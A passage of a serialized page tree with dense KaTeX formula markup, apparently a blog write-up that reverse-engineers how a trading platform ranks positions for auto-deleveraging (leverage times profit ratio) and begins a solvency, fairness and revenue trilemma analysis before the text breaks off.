leverage",{"type":24,"tag":83,"props":159884,"children":159886},{"className":159885,"style":3931},[3833],[],{"type":24,"tag":83,"props":159888,"children":159890},{"className":159889},[3936],[159891],{"type":29,"value":1275},{"type":24,"tag":83,"props":159893,"children":159895},{"className":159894,"style":3931},[3833],[],{"type":24,"tag":83,"props":159897,"children":159899},{"className":159898},[3742],[159900,159905],{"type":24,"tag":83,"props":159901,"children":159904},{"className":159902,"style":159903},[3747],"height:2.113em;vertical-align:-0.686em;",[],{"type":24,"tag":83,"props":159906,"children":159908},{"className":159907},[3753],[159909,159913,160008],{"type":24,"tag":83,"props":159910,"children":159912},{"className":159911},[21457,113098],[],{"type":24,"tag":83,"props":159914,"children":159916},{"className":159915},[113103],[159917],{"type":24,"tag":83,"props":159918,"children":159920},{"className":159919},[3774,21382],[159921,159996],{"type":24,"tag":83,"props":159922,"children":159924},{"className":159923},[3779],[159925,159991],{"type":24,"tag":83,"props":159926,"children":159928},{"className":159927,"style":158685},[3784],[159929,159950,159961],{"type":24,"tag":83,"props":159930,"children":159931},{"style":158689},[159932,159936],{"type":24,"tag":83,"props":159933,"children":159935},{"className":159934,"style":111751},[3793],[],{"type":24,"tag":83,"props":159937,"children":159939},{"className":159938},[3753],[159940],{"type":24,"tag":83,"props":159941,"children":159943},{"className":159942},[3753,29],[159944],{"type":24,"tag":83,"props":159945,"children":159947},{"className":159946},[3753],[159948],{"type":29,"value":159949},"account value",{"type":24,"tag":83,"props":159951,"children":159952},{"style":113153},[159953,159957],{"type":24,"tag":83,"props":159954,"children":159956},{"className":159955,"style":111751},[3793],[],{"type":24,"tag":83,"props":159958,"children":159960},{"className":159959,"style":113163},[113162],[],{"type":24,"tag":83,"props":159962,"children":159963},{"style":158740},[159964,159968],{"type":24,"tag":83,"props":159965,"children":159967},{"className":159966,"style":111751},[3793],[],{"type":24,"tag":83,"props":159969,"children":159971},{"className":159970},[3753],[159972,159977,159986],{"type":24,"tag":83,"props":159973,"children":159975},{"className":159974},[3753],[159976],{"type":29,"value":158755},{"type":24,"tag":83,"props":159978,"children":159980},{"className":159979},[3753,29],[159981],{"type":24,"tag":83,"props":159982,"children":159984},{"className":159983},[3753],[159985],{"type":29,"value":158765},{"type":24,"tag":83,"props":159987,"children":159989},{"className":159988},[3753],[159990],{"type":29,"value":158755},{"type":24,"tag":83,"props":159992,"children":159994},{"className":159993},[21485],[159995],{"type":29,"value":21488},{"type":24,"tag":83,"props":159997,"children":159999},{"className":159998},[3779],[160000],{"type":24,"tag":83,"props":160001,"children":160004},{"className":160002,"style":160003},[3784],"height:0.686em;",[160005],{"type":24,"tag":83,"props":160006,"children":160007},{},[],{"type":24,"tag":83,"props":160009,"children":160011},{"className":160010},[21479,113098],[],{"type":24,"tag":25,"props":160013,"children":160014},{},[160015,160017,160023,160025,160031,160032,160038,160040,160046],{"type":29,"value":160016},"We can see in the decompilation below, through the SIMD noise, that ",{"type":24,"tag":32,"props":160018,"children":160020},{"className":160019},[],[160021],{"type":29,"value":160022},"abs_notional",{"type":29,"value":160024}," (unsigned), and ",{"type":24,"tag":32,"props":160026,"children":160028},{"className":160027},[],[160029],{"type":29,"value":160030},"float.d(rbx)",{"type":29,"value":5246},{"type":24,"tag":32,"props":160033,"children":160035},{"className":160034},[],[160036],{"type":29,"value":160037},"account_value",{"type":29,"value":160039}," (signed); the division is ",{"type":24,"tag":32,"props":160041,"children":160043},{"className":160042},[],[160044],{"type":29,"value":160045},"abs_notional / account_value",{"type":29,"value":161},{"type":24,"tag":25,"props":160048,"children":160049},{},[160050],{"type":29,"value":160051},"This tells us the risk multiplier that the user took on for this position.",{"type":24,"tag":158579,"props":160053,"children":160057},{"addr":160054,"line-start":160055,"line-end":160056},"0x555556abb140","278","296",[],{"type":24,"tag":51,"props":160059,"children":160061},{"id":160060},"ratio-2-profit-ratio",[160062],{"type":29,"value":160063},"Ratio 2: Profit Ratio",{"type":24,"tag":73,"props":160065,"children":160066},{},[160067],{"type":24,"tag":32,"props":160068,"children":160070},{"className":160069},[3726,158607],[160071],{"type":24,"tag":83,"props":160072,"children":160074},{"className":160073},[158612],[160075],{"type":24,"tag":83,"props":160076,"children":160078},{"className":160077},[3732],[160079],{"type":24,"tag":83,"props":160080,"children":160082},{"className":160081,"ariaHidden":1237},[3737],[160083,160114],{"type":24,"tag":83,"props":160084,"children":160086},{"className":160085},[3742],[160087,160091,160101,160105,160110],{"type":24,"tag":83,"props":160088,"children":160090},{"className":160089,"style":114635},[3747],[],{"type":24,"tag":83,"props":160092,"children":160094},{"className":160093},[3753,29],[160095],{"type":24,"tag":83,"props":160096,"children":160098},{"className":160097},[3753],[160099],{"type":29,"value":160100},"profit ratio",{"type":24,"tag":83,"props":160102,"children":160104},{"className":160103,"style":3931},[3833],[],{"type":24,"tag":83,"props":160106,"children":160108},{"className":160107},[3936],[160109],{"type":29,"value":1275},{"type":24,"tag":83,"props":160111,"children":160113},{"className":160112,"style":3931},[3833],[],{"type":24,"tag":83,"props":160115,"children":160117},{"className":160116},[3742],[160118,160122],{"type":24,"tag":83,"props":160119,"children":160121},{"className":160120,"style":158660},[3747],[],{"type":24,"tag":83,"props":160123,"children":160125},{"className":160124},[3753],[160126,160130,160249],{"type":24,"tag":83,"props":160127,"children":160129},{"className":160128},[21457,113098],[],{"type":24,"tag":83,"props":160131,"children":160133},{"className":160132},[113103],[160134],{"type":24,"tag":83,"props":160135,"children":160137},{"className":160136},[3774,21382],[160138,160238],{"type":24,"tag":83,"props":160139,"children":160141},{"className":160140},[3779],[160142,160233],{"type":24,"tag":83,"props":160143,"children":160145},{"className":160144,"style":158685},[3784],[160146,160167,160178],{"type":24,"tag":83,"props":160147,"children":160148},{"style":158689},[160149,160153],{"type":24,"tag":83,"props":160150,"children":160152},{"className":160151,"style":111751},[3793],[],{"type":24,"tag":83,"props":160154,"children":160156},{"className":160155},[3753],[160157],{"type":24,"tag":83,"props":160158,"children":160160},{"className":160159},[3753,29],[160161],{"type":24,"tag":83,"props":160162,"children":160164},{"className":160163},[3753],[160165],{"type":29,"value":160166},"entry notional",{"type":24,"tag":83,"props":160168,"children":160169},{"style":113153},[160170,160174],{"type":24,"tag":83,"props":160171,"children":160173},{"className":160172,"style":111751},[3793],[],{"type":24,"tag":83,"props":160175,"children":160177},{"className":160176,"style":113163},[113162],[],{"type":24,"tag":83,"props":160179,"children":160180},{"style":158740},[160181,160185],{"type":24,"tag":83,"props":160182,"children":160184},{"className":160183,"style":111751},[3793],[],{"type":24,"tag":83,"props":160186,"children":160188},{"className":160187},[3753],[160189,160195,160200,160210,160215,160219,160223,160228],{"type":24,"tag":83,"props":160190,"children":160192},{"className":160191},[21364],[160193],{"type":29,"value":160194},"max",{"type":24,"tag":83,"props":160196,"children":160198},{"className":160197},[21457],[160199],{"type":29,"value":558},{"type":24,"tag":83,"props":160201,"children":160203},{"className":160202},[3753,29],[160204],{"type":24,"tag":83,"props":160205,"children":160207},{"className":160206},[3753],[160208],{"type":29,"value":160209},"pnl",{"type":24,"tag":83,"props":160211,"children":160213},{"className":160212},[3865],[160214],{"type":29,"value":3868},{"type":24,"tag":83,"props":160216,"children":160218},{"className":160217,"style":3872},[3833],[],{"type":24,"tag":83,"props":160220,"children":160222},{"className":160221,"style":3872},[3833],[],{"type":24,"tag":83,"props":160224,"children":160226},{"className":160225},[3753],[160227],{"type":29,"value":1166},{"type":24,"tag":83,"props":160229,"children":160231},{"className":160230},[21479],[160232],{"type":29,"value":2872},{"type":24,"tag":83,"props":160234,"children":160236},{"className":160235},[21485],[160237],{"type":29,"value":21488},{"type":24,"tag":83,"props":160239,"children":160241},{"className":160240},[3779],[160242],{"type":24,"tag":83,"props":160243,"children":160245},{"className":160244,"style":158783},[3784],[160246],{"type":24,"tag":83,"props":160247,"children":160248},{},[],{"type":24,"tag":83,"props":160250,"children":160252},{"className":160251},[21479,113098],[],{"type":24,"tag":25,"props":160254,"children":160255},{},[160256,160258,160264],{"type":29,"value":160257},"It uses entry notional (",{"type":24,"tag":32,"props":160259,"children":160261},{"className":160260},[],[160262],{"type":29,"value":160263},"r14_2",{"type":29,"value":160265},") as the divisor. PNL is clamped to non-negative before division.",{"type":24,"tag":25,"props":160267,"children":160268},{},[160269],{"type":29,"value":160270},"This basically tells us how well the user's bet went.",{"type":24,"tag":158579,"props":160272,"children":160276},{"addr":160273,"addr-start":160274,"addr-end":160275},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":24,"tag":25,"props":160278,"children":160279},{},[160280,160282,160288,160290,160296],{"type":29,"value":160281},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":24,"tag":32,"props":160283,"children":160285},{"className":160284},[],[160286],{"type":29,"value":160287},"1e-8",{"type":29,"value":160289},", in order not to cancel each other out. The final ADL ranking score is ",{"type":24,"tag":32,"props":160291,"children":160293},{"className":160292},[],[160294],{"type":29,"value":160295},"effective_leverage * profit_ratio",{"type":29,"value":160297},", consistent with both ratio directions and the max clamp on PNL.",{"type":24,"tag":25,"props":160299,"children":160300},{},[160301],{"type":29,"value":160302},"So, in essence, we look for risky and profitable positions!",{"type":24,"tag":1818,"props":160304,"children":160306},{"id":160305},"partial-and-total-adl",[160307],{"type":29,"value":160308},"Partial and Total ADL",{"type":24,"tag":25,"props":160310,"children":160311},{},[160312],{"type":29,"value":160313},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":24,"tag":25,"props":160315,"children":160316},{},[160317],{"type":29,"value":160318},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":24,"tag":25,"props":160320,"children":160321},{},[160322,160324,160329],{"type":29,"value":160323},"So essentially, in pseudocode, the whole latter part of ",{"type":24,"tag":32,"props":160325,"children":160327},{"className":160326},[],[160328],{"type":29,"value":158904},{"type":29,"value":160330}," boils down to:",{"type":24,"tag":158579,"props":160332,"children":160335},{"addr":158950,"line-start":160333,"line-end":160334},"3252","3632",[],{"type":24,"tag":25,"props":160337,"children":160338},{},[160339],{"type":29,"value":160340},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":24,"tag":35107,"props":160342,"children":160344},{"id":160343},"branches",[160345],{"type":29,"value":160346},"Branches",{"type":24,"tag":25,"props":160348,"children":160349},{},[160350],{"type":29,"value":160351},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":24,"tag":25,"props":160353,"children":160354},{},[160355],{"type":29,"value":160356},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":24,"tag":35107,"props":160358,"children":160360},{"id":160359},"financial-conclusions",[160361],{"type":29,"value":160362},"Financial Conclusions",{"type":24,"tag":51,"props":160364,"children":160366},{"id":160365},"fairness-revenue-solvency-trilemma",[160367],{"type":29,"value":160368},"Fairness, Revenue, Solvency Trilemma",{"type":24,"tag":25,"props":160370,"children":160371},{},[160372,160374,160380],{"type":29,"value":160373},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":24,"tag":2033,"props":160375,"children":160377},{"href":159732,"rel":160376},[2037],[160378],{"type":29,"value":160379},"the paper mentioned before",{"type":29,"value":160381},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":24,"tag":16422,"props":160383,"children":160384},{},[160385,160395,160405],{"type":24,"tag":67,"props":160386,"children":160387},{},[160388,160393],{"type":24,"tag":2655,"props":160389,"children":160390},{},[160391],{"type":29,"value":160392},"Solvency",{"type":29,"value":160394},": can the platform pay every trader out?",{"type":24,"tag":67,"props":160396,"children":160397},{},[160398,160403],{"type":24,"tag":2655,"props":160399,"children":160400},{},[160401],{"type":29,"value":160402},"Fairness",{"type":29,"value":160404},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":24,"tag":67,"props":160406,"children":160407},{},[160408,160413],{"type":24,"tag":2655,"props":160409,"children":160410},{},[160411],{"type":29,"value":160412},"Revenue",{"type":29,"value":160414},": the fraction of total winner PNL that survives after deleveraging.",{"type":24,"tag":25,"props":160416,"children":160417},{},[160418],{"type":29,"value":160419},"Let's borrow these definitions from the paper:",{"type":24,"tag":73,"props":160421,"children":160422},{},[160423],{"type":24,"tag":32,"props":160424,"children":160426},{"className":160425},[3726,158607],[160427],{"type":24,"tag":83,"props":160428,"children":160430},{"className":160429},[158612],[160431],{"type":24,"tag":83,"props":160432,"children":160434},{"className":160433},[3732],[160435],{"type":24,"tag":83,"props":160436,"children":160438},{"className":160437,"ariaHidden":1237},[3737],[160439],{"type":24,"tag":83,"props":160440,"children":160442},{"className":160441},[3742],[160443,160448],{"type":24,"tag":83,"props":160444,"children":160447},{"className":160445,"style":160446},[3747],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":24,"tag":83,"props":160449,"children":160451},{"className":160450},[3753],[160452],{"type":24,"tag":83,"props":160453,"children":160455},{"className":160454},[159309],[160456,161275],{"type":24,"tag":83,"props":160457,"children":160459},{"className":160458},[159314],[160460],{"type":24,"tag":83,"props":160461,"children":160463},{"className":160462},[3774,21382],[160464,161263],{"type":24,"tag":83,"props":160465,"children":160467},{"className":160466},[3779],[160468,161258],{"type":24,"tag":83,"props":160469,"children":160472},{"className":160470,"style":160471},[3784],"height:11.8392em;",[160473,160544,160561,160630,160700,160769,160839,160908,160977,161046,161116,161187],{"type":24,"tag":83,"props":160474,"children":160476},{"style":160475},"top:-14.3707em;",[160477,160482],{"type":24,"tag":83,"props":160478,"children":160481},{"className":160479,"style":160480},[3793],"height:3.3714em;",[],{"type":24,"tag":83,"props":160483,"children":160485},{"className":160484},[3753],[160486],{"type":24,"tag":83,"props":160487,"children":160489},{"className":160488},[3753],[160490,160495],{"type":24,"tag":83,"props":160491,"children":160493},{"className":160492,"style":21329},[3753,21328],[160494],{"type":29,"value":21332},{"type":24,"tag":83,"props":160496,"children":160498},{"className":160497},[3769],[160499],{"type":24,"tag":83,"props":160500,"children":160502},{"className":160501},[3774,21382],[160503,160533],{"type":24,"tag":83,"props":160504,"children":160506},{"className":160505},[3779],[160507,160528],{"type":24,"tag":83,"props":160508,"children":160510},{"className":160509,"style":109012},[3784],[160511],{"type":24,"tag":83,"props":160512,"children":160514},{"style":160513},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[160515,160519],{"type":24,"tag":83,"props":160516,"children":160518},{"className":160517,"style":3794},[3793],[],{"type":24,"tag":83,"props":160520,"children":160522},{"className":160521},[3799,3800,3801,3802],[160523],{"type":24,"tag":83,"props":160524,"children":160526},{"className":160525},[3753,21328,3802],[160527],{"type":29,"value":56117},{"type":24,"tag":83,"props":160529,"children":160531},{"className":160530},[21485],[160532],{"type":29,"value":21488},{"type":24,"tag":83,"props":160534,"children":160536},{"className":160535},[3779],[160537],{"type":24,"tag":83,"props":160538,"children":160540},{"className":160539,"style":92843},[3784],[160541],{"type":24,"tag":83,"props":160542,"children":160543},{},[],{"type":24,"tag":83,"props":160545,"children":160547},{"style":160546},"top:-12.8707em;",[160548,160552],{"type":24,"tag":83,"props":160549,"children":160551},{"className":160550,"style":160480},[3793],[],{"type":24,"tag":83,"props":160553,"children":160555},{"className":160554},[3753],[160556],{"type":24,"tag":83,"props":160557,"children":160559},{"className":160558,"style":94780},[3753,21328],[160560],{"type":29,"value":94814},{"type":24,"tag":83,"props":160562,"children":160564},{"style":160563},"top:-10.8392em;",[160565,160569],{"type":24,"tag":83,"props":160566,"children":160568},{"className":160567,"style":160480},[3793],[],{"type":24,"tag":83,"props":160570,"children":160572},{"className":160571},[3753],[160573],{"type":24,"tag":83,"props":160574,"children":160576},{"className":160575},[3753],[160577,160582],{"type":24,"tag":83,"props":160578,"children":160580},{"className":160579},[3753,21328],[160581],{"type":29,"value":2891},{"type":24,"tag":83,"props":160583,"children":160585},{"className":160584},[3769],[160586],{"type":24,"tag":83,"props":160587,"children":160589},{"className":160588},[3774,21382],[160590,160619],{"type":24,"tag":83,"props":160591,"children":160593},{"className":160592},[3779],[160594,160614],{"type":24,"tag":83,"props":160595,"children":160597},{"className":160596,"style":93289},[3784],[160598],{"type":24,"tag":83,"props":160599,"children":160600},{"style":92816},[160601,160605],{"type":24,"tag":83,"props":160602,"children":160604},{"className":160603,"style":3794},[3793],[],{"type":24,"tag":83,"props":160606,"children":160608},{"className":160607},[3799,3800,3801,3802],[160609],{"type":24,"tag":83,"props":160610,"children":160612},{"className":160611},[3753,21328,3802],[160613],{"type":29,"value":3482},{"type":24,"tag":83,"props":160615,"children":160617},{"className":160616},[21485],[160618],{"type":29,"value":21488},{"type":24,"tag":83,"props":160620,"children":160622},{"className":160621},[3779],[160623],{"type":24,"tag":83,"props":160624,"children":160626},{"className":160625,"style":92843},[3784],[160627],{"type":24,"tag":83,"props":160628,"children":160629},{},[],{"type":24,"tag":83,"props":160631,"children":160633},{"style":160632},"top:-8.8188em;",[160634,160638],{"type":24,"tag":83,"props":160635,"children":160637},{"className":160636,"style":160480},[3793],[],{"type":24,"tag":83,"props":160639,"children":160641},{"className":160640},[3753],[160642],{"type":24,"tag":83,"props":160643,"children":160645},{"className":160644},[3753],[160646,160652],{"type":24,"tag":83,"props":160647,"children":160649},{"className":160648,"style":93246},[3753,21328],[160650],{"type":29,"value":160651},"π",{"type":24,"tag":83,"props":160653,"children":160655},{"className":160654},[3769],[160656],{"type":24,"tag":83,"props":160657,"children":160659},{"className":160658},[3774,21382],[160660,160689],{"type":24,"tag":83,"props":160661,"children":160663},{"className":160662},[3779],[160664,160684],{"type":24,"tag":83,"props":160665,"children":160667},{"className":160666,"style":93289},[3784],[160668],{"type":24,"tag":83,"props":160669,"children":160670},{"style":93293},[160671,160675],{"type":24,"tag":83,"props":160672,"children":160674},{"className":160673,"style":3794},[3793],[],{"type":24,"tag":83,"props":160676,"children":160678},{"className":160677},[3799,3800,3801,3802],[160679],{"type":24,"tag":83,"props":160680,"children":160682},{"className":160681},[3753,21328,3802],[160683],{"type":29,"value":3482},{"type":24,"tag":83,"props":160685,"children":160687},{"className":160686},[21485],[160688],{"type":29,"value":21488},{"type":24,"tag":83,"props":160690,"children":160692},{"className":160691},[3779],[160693],{"type":24,"tag":83,"props":160694,"children":160696},{"className":160695,"style":92843},[3784],[160697],{"type":24,"tag":83,"props":160698,"children":160699},{},[],{"type":24,"tag":83,"props":160701,"children":160703},{"style":160702},"top:-7.3188em;",[160704,160708],{"type":24,"tag":83,"props":160705,"children":160707},{"className":160706,"style":160480},[3793],[],{"type":24,"tag":83,"props":160709,"children":160711},{"className":160710},[3753],[160712],{"type":24,"tag":83,"props":160713,"children":160715},{"className":160714},[3753],[160716,160721],{"type":24,"tag":83,"props":160717,"children":160719},{"className":160718},[3753,21328],[160720],{"type":29,"value":51169},{"type":24,"tag":83,"props":160722,"children":160724},{"className":160723},[3769],[160725],{"type":24,"tag":83,"props":160726,"children":160728},{"className":160727},[3774,21382],[160729,160758],{"type":24,"tag":83,"props":160730,"children":160732},{"className":160731},[3779],[160733,160753],{"type":24,"tag":83,"props":160734,"children":160736},{"className":160735,"style":93289},[3784],[160737],{"type":24,"tag":83,"props":160738,"children":160739},{"style":92816},[160740,160744],{"type":24,"tag":83,"props":160741,"children":160743},{"className":160742,"style":3794},[3793],[],{"type":24,"tag":83,"props":160745,"children":160747},{"className":160746},[3799,3800,3801,3802],[160748],{"type":24,"tag":83,"props":160749,"children":160751},{"className":160750},[3753,21328,3802],[160752],{"type":29,"value":3482},{"type":24,"tag":83,"props":160754,"children":160756},{"className":160755},[21485],[160757],{"type":29,"value":21488},{"type":24,"tag":83,"props":160759,"children":160761},{"className":160760},[3779],[160762],{"type":24,"tag":83,"props":160763,"children":160765},{"className":160764,"style":92843},[3784],[160766],{"type":24,"tag":83,"props":160767,"children":160768},{},[],{"type":24,"tag":83,"props":160770,"children":160772},{"style":160771},"top:-5.8188em;",[160773,160777],{"type":24,"tag":83,"props":160774,"children":160776},{"className":160775,"style":160480},[3793],[],{"type":24,"tag":83,"props":160778,"children":160780},{"className":160779},[3753],[160781],{"type":24,"tag":83,"props":160782,"children":160784},{"className":160783},[3753],[160785,160790],{"type":24,"tag":83,"props":160786,"children":160788},{"className":160787,"style":121860},[3753,21328],[160789],{"type":29,"value":49288},{"type":24,"tag":83,"props":160791,"children":160793},{"className":160792},[3769],[160794],{"type":24,"tag":83,"props":160795,"children":160797},{"className":160796},[3774,21382],[160798,160828],{"type":24,"tag":83,"props":160799,"children":160801},{"className":160800},[3779],[160802,160823],{"type":24,"tag":83,"props":160803,"children":160805},{"className":160804,"style":93289},[3784],[160806],{"type":24,"tag":83,"props":160807,"children":160809},{"style":160808},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[160810,160814],{"type":24,"tag":83,"props":160811,"children":160813},{"className":160812,"style":3794},[3793],[],{"type":24,"tag":83,"props":160815,"children":160817},{"className":160816},[3799,3800,3801,3802],[160818],{"type":24,"tag":83,"props":160819,"children":160821},{"className":160820},[3753,21328,3802],[160822],{"type":29,"value":3482},{"type":24,"tag":83,"props":160824,"children":160826},{"className":160825},[21485],[160827],{"type":29,"value":21488},{"type":24,"tag":83,"props":160829,"children":160831},{"className":160830},[3779],[160832],{"type":24,"tag":83,"props":160833,"children":160835},{"className":160834,"style":92843},[3784],[160836],{"type":24,"tag":83,"props":160837,"children":160838},{},[],{"type":24,"tag":83,"props":160840,"children":160842},{"style":160841},"top:-4.3188em;",[160843,160847],{"type":24,"tag":83,"props":160844,"children":160846},{"className":160845,"style":160480},[3793],[],{"type":24,"tag":83,"props":160848,"children":160850},{"className":160849},[3753],[160851],{"type":24,"tag":83,"props":160852,"children":160854},{"className":160853},[3753],[160855,160860],{"type":24,"tag":83,"props":160856,"children":160858},{"className":160857},[3753,21328],[160859],{"type":29,"value":19015},{"type":24,"tag":83,"props":160861,"children":160863},{"className":160862},[3769],[160864],{"type":24,"tag":83,"props":160865,"children":160867},{"className":160866},[3774,21382],[160868,160897],{"type":24,"tag":83,"props":160869,"children":160871},{"className":160870},[3779],[160872,160892],{"type":24,"tag":83,"props":160873,"children":160875},{"className":160874,"style":93289},[3784],[160876],{"type":24,"tag":83,"props":160877,"children":160878},{"style":92816},[160879,160883],{"type":24,"tag":83,"props":160880,"children":160882},{"className":160881,"style":3794},[3793],[],{"type":24,"tag":83,"props":160884,"children":160886},{"className":160885},[3799,3800,3801,3802],[160887],{"type":24,"tag":83,"props":160888,"children":160890},{"className":160889},[3753,21328,3802],[160891],{"type":29,"value":3482},{"type":24,"tag":83,"props":160893,"children":160895},{"className":160894},[21485],[160896],{"type":29,"value":21488},{"type":24,"tag":83,"props":160898,"children":160900},{"className":160899},[3779],[160901],{"type":24,"tag":83,"props":160902,"children":160904},{"className":160903,"style":92843},[3784],[160905],{"type":24,"tag":83,"props":160906,"children":160907},{},[],{"type":24,"tag":83,"props":160909,"children":160911},{"style":160910},"top:-2.5512em;",[160912,160916],{"type":24,"tag":83,"props":160913,"children":160915},{"className":160914,"style":160480},[3793],[],{"type":24,"tag":83,"props":160917,"children":160919},{"className":160918},[3753],[160920],{"type":24,"tag":83,"props":160921,"children":160923},{"className":160922},[3753],[160924,160929],{"type":24,"tag":83,"props":160925,"children":160927},{"className":160926},[3753,21328],[160928],{"type":29,"value":84058},{"type":24,"tag":83,"props":160930,"children":160932},{"className":160931},[3769],[160933],{"type":24,"tag":83,"props":160934,"children":160936},{"className":160935},[3774,21382],[160937,160966],{"type":24,"tag":83,"props":160938,"children":160940},{"className":160939},[3779],[160941,160961],{"type":24,"tag":83,"props":160942,"children":160944},{"className":160943,"style":93289},[3784],[160945],{"type":24,"tag":83,"props":160946,"children":160947},{"style":92816},[160948,160952],{"type":24,"tag":83,"props":160949,"children":160951},{"className":160950,"style":3794},[3793],[],{"type":24,"tag":83,"props":160953,"children":160955},{"className":160954},[3799,3800,3801,3802],[160956],{"type":24,"tag":83,"props":160957,"children":160959},{"className":160958},[3753,21328,3802],[160960],{"type":29,"value":3482},{"type":24,"tag":83,"props":160962,"children":160964},{"className":160963},[21485],[160965],{"type":29,"value":21488},{"type":24,"tag":83,"props":160967,"children":160969},{"className":160968},[3779],[160970],{"type":24,"tag":83,"props":160971,"children":160973},{"className":160972,"style":92843},[3784],[160974],{"type":24,"tag":83,"props":160975,"children":160976},{},[],{"type":24,"tag":83,"props":160978,"children":160980},{"style":160979},"top:-0.3652em;",[160981,160985],{"type":24,"tag":83,"props":160982,"children":160984},{"className":160983,"style":160480},[3793],[],{"type":24,"tag":83,"props":160986,"children":160988},{"className":160987},[3753],[160989],{"type":24,"tag":83,"props":160990,"children":160992},{"className":160991},[3753],[160993,160998],{"type":24,"tag":83,"props":160994,"children":160996},{"className":160995,"style":92994},[3753,21328],[160997],{"type":29,"value":92997},{"type":24,"tag":83,"props":160999,"children":161001},{"className":161000},[3769],[161002],{"type":24,"tag":83,"props":161003,"children":161005},{"className":161004},[3774,21382],[161006,161035],{"type":24,"tag":83,"props":161007,"children":161009},{"className":161008},[3779],[161010,161030],{"type":24,"tag":83,"props":161011,"children":161013},{"className":161012,"style":142135},[3784],[161014],{"type":24,"tag":83,"props":161015,"children":161016},{"style":110009},[161017,161021],{"type":24,"tag":83,"props":161018,"children":161020},{"className":161019,"style":3794},[3793],[],{"type":24,"tag":83,"props":161022,"children":161024},{"className":161023},[3799,3800,3801,3802],[161025],{"type":24,"tag":83,"props":161026,"children":161028},{"className":161027,"style":21329},[3753,21328,3802],[161029],{"type":29,"value":5733},{"type":24,"tag":83,"props":161031,"children":161033},{"className":161032},[21485],[161034],{"type":29,"value":21488},{"type":24,"tag":83,"props":161036,"children":161038},{"className":161037},[3779],[161039],{"type":24,"tag":83,"props":161040,"children":161042},{"className":161041,"style":92843},[3784],[161043],{"type":24,"tag":83,"props":161044,"children":161045},{},[],{"type":24,"tag":83,"props":161047,"children":161049},{"style":161048},"top:2.2624em;",[161050,161054],{"type":24,"tag":83,"props":161051,"children":161053},{"className":161052,"style":160480},[3793],[],{"type":24,"tag":83,"props":161055,"children":161057},{"className":161056},[3753],[161058],{"type":24,"tag":83,"props":161059,"children":161061},{"className":161060},[3753],[161062,161068],{"type":24,"tag":83,"props":161063,"children":161065},{"className":161064,"style":92760},[3753,21328],[161066],{"type":29,"value":161067},"D",{"type":24,"tag":83,"props":161069,"children":161071},{"className":161070},[3769],[161072],{"type":24,"tag":83,"props":161073,"children":161075},{"className":161074},[3774,21382],[161076,161105],{"type":24,"tag":83,"props":161077,"children":161079},{"className":161078},[3779],[161080,161100],{"type":24,"tag":83,"props":161081,"children":161083},{"className":161082,"style":142135},[3784],[161084],{"type":24,"tag":83,"props":161085,"children":161086},{"style":109579},[161087,161091],{"type":24,"tag":83,"props":161088,"children":161090},{"className":161089,"style":3794},[3793],[],{"type":24,"tag":83,"props":161092,"children":161094},{"className":161093},[3799,3800,3801,3802],[161095],{"type":24,"tag":83,"props":161096,"children":161098},{"className":161097,"style":21329},[3753,21328,3802],[161099],{"type":29,"value":5733},{"type":24,"tag":83,"props":161101,"children":161103},{"className":161102},[21485],[161104],{"type":29,"value":21488},{"type":24,"tag":83,"props":161106,"children":161108},{"className":161107},[3779],[161109],{"type":24,"tag":83,"props":161110,"children":161112},{"className":161111,"style":92843},[3784],[161113],{"type":24,"tag":83,"props":161114,"children":161115},{},[],{"type":24,"tag":83,"props":161117,"children":161119},{"style":161118},"top:4.8901em;",[161120,161124],{"type":24,"tag":83,"props":161121,"children":161123},{"className":161122,"style":160480},[3793],[],{"type":24,"tag":83,"props":161125,"children":161127},{"className":161126},[3753],[161128],{"type":24,"tag":83,"props":161129,"children":161131},{"className":161130},[3753],[161132,161138],{"type":24,"tag":83,"props":161133,"children":161135},{"className":161134,"style":94768},[3753,21328],[161136],{"type":29,"value":161137},"U",{"type":24,"tag":83,"props":161139,"children":161141},{"className":161140},[3769],[161142],{"type":24,"tag":83,"props":161143,"children":161145},{"className":161144},[3774,21382],[161146,161176],{"type":24,"tag":83,"props":161147,"children":161149},{"className":161148},[3779],[161150,161171],{"type":24,"tag":83,"props":161151,"children":161153},{"className":161152,"style":142135},[3784],[161154],{"type":24,"tag":83,"props":161155,"children":161157},{"style":161156},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[161158,161162],{"type":24,"tag":83,"props":161159,"children":161161},{"className":161160,"style":3794},[3793],[],{"type":24,"tag":83,"props":161163,"children":161165},{"className":161164},[3799,3800,3801,3802],[161166],{"type":24,"tag":83,"props":161167,"children":161169},{"className":161168,"style":21329},[3753,21328,3802],[161170],{"type":29,"value":5733},{"type":24,"tag":83,"props":161172,"children":161174},{"className":161173},[21485],[161175],{"type":29,"value":21488},{"type":24,"tag":83,"props":161177,"children":161179},{"className":161178},[3779],[161180],{"type":24,"tag":83,"props":161181,"children":161183},{"className":161182,"style":92843},[3784],[161184],{"type":24,"tag":83,"props":161185,"children":161186},{},[],{"type":24,"tag":83,"props":161188,"children":161190},{"style":161189},"top:7.3078em;",[161191,161195],{"type":24,"tag":83,"props":161192,"children":161194},{"className":161193,"style":160480},[3793],[],{"type":24,"tag":83,"props":161196,"children":161198},{"className":161197},[3753],[161199],{"type":24,"tag":83,"props":161200,"children":161202},{"className":161201},[3753],[161203,161208],{"type":24,"tag":83,"props":161204,"children":161206},{"className":161205,"style":122357},[3753,21328],[161207],{"type":29,"value":122360},{"type":24,"tag":83,"props":161209,"children":161211},{"className":161210},[3769],[161212],{"type":24,"tag":83,"props":161213,"children":161215},{"className":161214},[3774,21382],[161216,161247],{"type":24,"tag":83,"props":161217,"children":161219},{"className":161218},[3779],[161220,161242],{"type":24,"tag":83,"props":161221,"children":161224},{"className":161222,"style":161223},[3784],"height:0.2806em;",[161225],{"type":24,"tag":83,"props":161226,"children":161